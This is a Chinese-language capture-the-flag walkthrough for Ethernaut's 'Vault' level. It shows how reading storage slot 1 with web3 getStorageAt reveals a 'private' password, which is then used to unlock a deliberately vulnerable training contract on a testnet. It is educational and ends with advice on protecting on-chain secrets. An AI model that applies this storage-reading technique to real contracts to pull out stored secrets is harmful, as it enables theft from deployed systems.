8. Vault

Chain: Goerli
Difficulty: ●●○○○
Level: https://ethernaut.openzeppelin.com/level/0x78BA1a1DD8833A4a20ecAc0Db8f3aCD8A9211beD

要求

打开 vault 来通过这一关!

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

分析下合约代码,就是要获取合约的password值。虽然 password 是一个 private,不能直接调用合约取值,但我们可以通过 Web3的getStorageAt 函数可以取得指定地址特定位置的storage。

web3.eth.**getStorageAt**(address, position [, defaultBlock] [, callback])

Get the storage at a specific position of an address.

Parameters

  1. String - The address to get the storage from.
  2. Number|String|BN|BigNumber - The index position of the storage.
  3. Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest""latest" , "pending""safe" or "finalized" can also be used.
  4. Function - (optional) Optional callback, returns an error object as first parameter and the result as second.

Returns

Promise returns String - The value in storage at the given position.

解题

  1. 打开 Console 执行以下命令:

    1
    await web3.eth.getStorageAt(instance, 1)

    得到结果:0x412076657279207374726f6e67207365637265742070617373776f7264203a29

    将该结果转换成字符串:await web3.utils.toAscii("0x412076657279207374726f6e67207365637265742070617373776f7264203a29") ,可以得到:A very strong secret password :)

  2. 调用合约代码:

    1
    await contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29")
  3. 提交实例,完成关卡。

后记

请记住, 将一个变量设制成私有, 只能保证不让别的合约访问他. 设制成私有的状态变量和本地变量, 依旧可以被公开访问.

为了确保数据私有, 需要在上链前加密. 在这种情况下, 密钥绝对不要公开, 否则会被任何想知道的人获得. zk-SNARKs 提供了一个可以判断某个人是否有某个秘密参数的方法,但是不必透露这个参数.